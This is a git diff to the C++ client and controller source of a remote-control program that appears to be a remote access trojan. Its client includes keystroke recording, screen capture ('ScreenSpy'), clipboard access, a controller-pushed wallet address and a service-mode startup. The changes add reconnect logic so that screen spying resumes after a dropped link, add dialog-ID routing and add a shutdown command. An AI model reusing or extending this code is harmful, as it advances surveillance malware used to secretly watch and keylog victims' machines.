diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 81cf632..6e97d88 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -83,11 +83,13 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) } #endif -VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess) +VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect) { m_Manager = Manager; m_DataProcess = dataProcess; + + m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL; } @@ -115,6 +117,7 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, m_bConnected = FALSE; m_exit_while_disconnect = exit_while_disconnect; + m_ReconnectFunc = NULL; #if USING_CTX m_Cctx = ZSTD_createCCtx(); m_Dctx = ZSTD_createDCtx(); @@ -402,7 +405,7 @@ bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, in Mprintf("[recv] return %d, GetLastError= %d. \n", iReceivedLength, a); Disconnect(); //接收错误处理 m_CompressedBuffer->ClearBuffer(); - if (m_exit_while_disconnect) + if (m_ReconnectFunc && !m_ReconnectFunc(m_Manager)) return false; } else { szBuffer[iReceivedLength] = 0; @@ -650,7 +653,7 @@ VOID IOCPClient::RunEventLoop(const BOOL &bCondition) Mprintf("======> RunEventLoop begin\n"); while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN) Sleep(200); - setManagerCallBack(NULL, NULL); + setManagerCallBack(NULL, NULL, NULL); Mprintf("======> RunEventLoop end\n"); } @@ -669,6 +672,6 @@ VOID IOCPClient::RunEventLoop(TrailCheck checker) #endif while (m_bIsRunning && checker()) Sleep(200); - setManagerCallBack(NULL, NULL); + setManagerCallBack(NULL, NULL, NULL); Mprintf("======> RunEventLoop end\n"); } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 70bc921..f2dec27 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -28,6 +28,7 @@ enum { S_STOP = 0, S_RUN, S_END }; typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength); +typedef int (*OnDisconnectCB)(void* userData); class ProtocolEncoder { @@ -108,6 +109,9 @@ public: } virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { } + // Tip: 在派生类实现该函数以便支持断线重连 + virtual BOOL OnReconnect() { return FALSE; } + static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) { IOCPManager* m_Manager = (IOCPManager*)user; @@ -129,6 +133,13 @@ public: m_Manager->OnReceive(szBuffer, ulLength); return TRUE; } + static int ReconnectProcess(void* user) { + IOCPManager* m_Manager = (IOCPManager*)user; + if (nullptr == m_Manager) { + return FALSE; + } + return m_Manager->OnReconnect(); + } }; typedef BOOL(*TrailCheck)(void); @@ -185,13 +196,11 @@ public: { return m_bIsRunning; } - - void SetExit() - { + VOID StopRunning() { + m_ReconnectFunc = NULL; m_bIsRunning = FALSE; } - - VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess); + VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect); VOID RunEventLoop(TrailCheck checker); VOID RunEventLoop(const BOOL &bCondition); bool IsConnected() const @@ -243,6 +252,7 @@ protected: const State& g_bExit; // 全局状态量 void* m_Manager; // 用户数据 DataProcessCB m_DataProcess; // 处理用户数据 + OnDisconnectCB m_ReconnectFunc; // 断线重连逻辑 ProtocolEncoder* m_Encoder; // 加密 DomainPool m_Domain; std::string m_sCurIP; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index c3329ff..222588a 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -228,7 +228,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param) DWORD WINAPI SendKeyboardRecord(LPVOID lParam) { - CManager* pMgr = (CManager*)lParam; + CKeyboardManager1* pMgr = (CKeyboardManager1*)lParam; if (pMgr) { pMgr->Reconnect(); pMgr->Notify(); @@ -593,6 +593,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case CMD_MASTERSETTING: if (ulLength > MasterSettingsOldSize) { memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize); + Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds\n", ulLength - 1, m_settings.ReportInterval); iniFile cfg(CLIENT_PATH); cfg.SetStr("settings", "wallet", m_settings.WalletAddress); CManager* pMgr = (CManager*)m_hKeyboard->user; diff --git a/client/KeyboardManager.h b/client/KeyboardManager.h index 9d818e1..2aec56e 100644 --- a/client/KeyboardManager.h +++ b/client/KeyboardManager.h @@ -237,6 +237,10 @@ public: HANDLE m_hClipboard; HANDLE m_hWorkThread,m_hSendThread; TCHAR m_strRecordFile[MAX_PATH]; + virtual BOOL Reconnect() + { + return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; + } private: BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData); int sendStartKeyBoard(); diff --git a/client/Manager.cpp b/client/Manager.cpp index 83ab06b..5a85ef7 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -229,7 +229,7 @@ CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState()) { m_bReady = TRUE; m_ClientObject = ClientObject; - m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess); + m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess, IOCPManager::ReconnectProcess); m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL); } diff --git a/client/Manager.h b/client/Manager.h index 3fa0ec8..1a44548 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -54,10 +54,6 @@ public: { return m_ClientObject->IsConnected(); } - BOOL Reconnect() - { - return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; - } virtual void Notify() { } virtual void UpdateWallet(const std::string &wallet) { } BOOL Send(LPBYTE lpData, UINT nSize); diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index dfc7509..c6757b5 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -297,6 +297,14 @@ void CScreenManager::InitScreenSpy() } } +BOOL CScreenManager::OnReconnect() +{ + m_SendFirst = FALSE; + BOOL r = m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; + Mprintf("CScreenManager OnReconnect '%s'\n", r ? "succeed" : "failed"); + return r; +} + DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) { CScreenManager *This = (CScreenManager *)lParam; @@ -309,7 +317,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) This->WaitForDialogOpen(); clock_t last = clock(); - This->SendFirstScreen(); #if USING_ZLIB const int fps = 8;// 帧率 #else @@ -324,6 +331,16 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) clock_t last_check = clock(); timeBeginPeriod(1); while (This->m_bIsWorking) { + if (!This->IsConnected()) { + Sleep(50); + continue; + } + if (!This->m_SendFirst && This->IsConnected()) { + This->m_SendFirst = TRUE; + This->SendBitMapInfo(); + Sleep(50); + This->SendFirstScreen(); + } // 降低桌面检查频率,避免频繁的DC重置导致闪屏 if (This->m_isGDI && This->IsRunAsService() && !This->m_virtual) { auto now = clock(); @@ -384,7 +401,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) VOID CScreenManager::SendBitMapInfo() { //这里得到bmp结构的大小 - const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t); + const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t); LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, ulLength, MEM_COMMIT, PAGE_READWRITE); if (szBuffer == NULL) @@ -393,6 +410,7 @@ VOID CScreenManager::SendBitMapInfo() //这里将bmp位图结构发送出去 memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER)); memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t)); + memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t), &m_DlgID, sizeof(uint64_t)); HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0); VirtualFree(szBuffer, 0, MEM_RELEASE); @@ -420,7 +438,7 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder) Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId()); IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType()); if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) { - pClient->setManagerCallBack(mgr, CManager::DataProcess); + pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess); // 发送目录并准备接收文件 char cmd[300] = { COMMAND_GET_FILE }; memcpy(cmd + 1, folder.c_str(), folder.length()); @@ -461,6 +479,12 @@ void FinishSend(void* user) VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { switch(szBuffer[0]) { + case COMMAND_BYE: { + Mprintf("[CScreenManager] Received BYE\n"); + m_bIsWorking = FALSE; + m_ClientObject->StopRunning(); + break; + } case COMMAND_SWITCH_SCREEN: { SwitchScreen(); break; @@ -471,6 +495,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } case COMMAND_NEXT: { + m_DlgID = ulLength >= 9 ? *((uint64_t*)(szBuffer + 1)) : 0; NotifyDialogIsOpen(); break; } diff --git a/client/ScreenManager.h b/client/ScreenManager.h index 1bccf67..a6af80c 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -61,7 +61,9 @@ public: return m_conn ? m_conn->iStartup == Startup_GhostMsc : false; } bool SwitchScreen(); - + virtual BOOL OnReconnect(); + uint64_t m_DlgID = 0; + BOOL m_SendFirst = FALSE; // BOOL m_virtual; POINT m_point; diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index f835772..bf77a8e 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -2128,7 +2128,7 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) DialogBase* Dlg = (DialogBase*)ContextObject->hDlg; if (Dlg) { - if (!IsWindow(Dlg->GetSafeHwnd())) + if (!IsWindow(Dlg->GetSafeHwnd()) || Dlg->IsClosed()) return FALSE; Dlg->MarkReceiving(true); Dlg->OnReceiveComplete(); @@ -2547,10 +2547,14 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) { auto host = FindHost((int)lParam); if (host) { - Mprintf("======> OnUserOfflineMsg: %s\n", host->GetPeerName().c_str()); CLock L(m_cs); m_HostList.erase(host); } + DialogBase* p = (DialogBase*)wParam; + if (p && ::IsWindow(p->GetSafeHwnd()) && p->ShouldReconnect()) { + return S_OK; + } + CString ip, port; port.Format("%d", lParam); EnterCriticalSection(&m_cs); @@ -2572,7 +2576,6 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) } LeaveCriticalSection(&m_cs); - DialogBase *p = (DialogBase*)wParam; if (p && ::IsWindow(p->GetSafeHwnd())) { ::PostMessageA(p->GetSafeHwnd(), WM_CLOSE, 0, 0); } @@ -2710,9 +2713,15 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) { CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41); + LPBYTE q = ContextObject->InDeCompressedBuffer.GetBuffer(49); uint64_t clientID = p ? *((uint64_t*)p) : 0; + uint64_t dlgID = q ? *((uint64_t*)q) : 0; auto mainCtx = clientID ? FindHost(clientID) : NULL; + CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL; if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString()); + if (dlg) { + return dlg->UpdateContext(ContextObject); + } return OpenDialog(wParam, lParam); } diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index aea0e29..0664075 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -605,9 +605,8 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1, NULL, ulFlags,&OverlappedPlus->m_ol, NULL); if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) { - int a = WSAGetLastError(); - Mprintf("!!! OnClientPostSending 投递消息失败: %d\n", a); - RemoveStaleContext(ContextObject); + if (RemoveStaleContext(ContextObject)) + Mprintf("!!! OnClientPostSending 投递消息失败: %d\n", WSAGetLastError()); SAFE_DELETE(OverlappedPlus); return FALSE; } @@ -771,7 +770,7 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext(SOCKET s) return ContextObject; } -VOID IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject) +BOOL IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject) { EnterCriticalSection(&m_cs); auto find = m_ContextConnectionList.Find(ContextObject); @@ -788,7 +787,9 @@ VOID IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject) } MoveContextToFreePoolList(ContextObject); //将该内存结构回收至内存池 + return TRUE; } + return FALSE; } VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject) diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index bbeb5be..6f18c67 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -63,7 +63,7 @@ private: BOOL InitializeIOCP(VOID); VOID OnAccept(); PCONTEXT_OBJECT AllocateContext(SOCKET s); - VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject); + BOOL RemoveStaleContext(CONTEXT_OBJECT* ContextObject); VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject); VOID PostRecv(CONTEXT_OBJECT* ContextObject); BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx); @@ -130,6 +130,12 @@ public: m_IPAddress = pContext->GetPeerName().c_str(); m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL; } + int UpdateContext(CONTEXT_OBJECT* pContext) { + m_ContextObject = pContext; + m_iocpServer = pContext->GetServer(); + m_ContextObject->hDlg = this; + return 0; + } virtual ~CDialogBase() {} public: @@ -169,12 +175,22 @@ public: { delete this; } + virtual BOOL ShouldReconnect() { + return FALSE; + } // ȡ SOCKET ȡúԱε void CancelIO() { m_bIsClosed = TRUE; m_ContextObject->CancelIO(); + } + BOOL IsClosed() const { + return m_bIsClosed; + } + BOOL SayByeBye() { + BYTE bToken = COMMAND_BYE; + return m_ContextObject->Send2Client(&bToken, 1); } }; diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index d98d206..9d91799 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -129,8 +129,10 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* C VOID CScreenSpyDlg::SendNext(void) { - BYTE bToken = COMMAND_NEXT; - m_ContextObject->Send2Client(&bToken, 1); + BYTE bToken[32] = { COMMAND_NEXT }; + uint64_t dlg = (uint64_t)this; + memcpy(bToken+1, &dlg, sizeof(uint64_t)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); } @@ -284,6 +286,7 @@ VOID CScreenSpyDlg::OnClose() m_aviFile = ""; m_aviStream.Close(); } + if (SayByeBye()) Sleep(500); CancelIO(); // 恢复鼠标状态 SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW)); @@ -344,6 +347,7 @@ VOID CScreenSpyDlg::OnReceiveComplete() } case TOKEN_BITMAPINFO: { SAFE_DELETE(m_BitmapInfor_Full); + m_bIsFirst = TRUE; const ULONG ulBitmapInforLength = sizeof(BITMAPINFOHEADER); m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[ulBitmapInforLength]; m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1); diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index d379174..d6c6c91 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -46,6 +46,9 @@ class CScreenSpyDlg : public DialogBase public: CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); virtual ~CScreenSpyDlg(); + virtual BOOL ShouldReconnect() { + return TRUE; + } VOID SendNext(void); VOID OnReceiveComplete();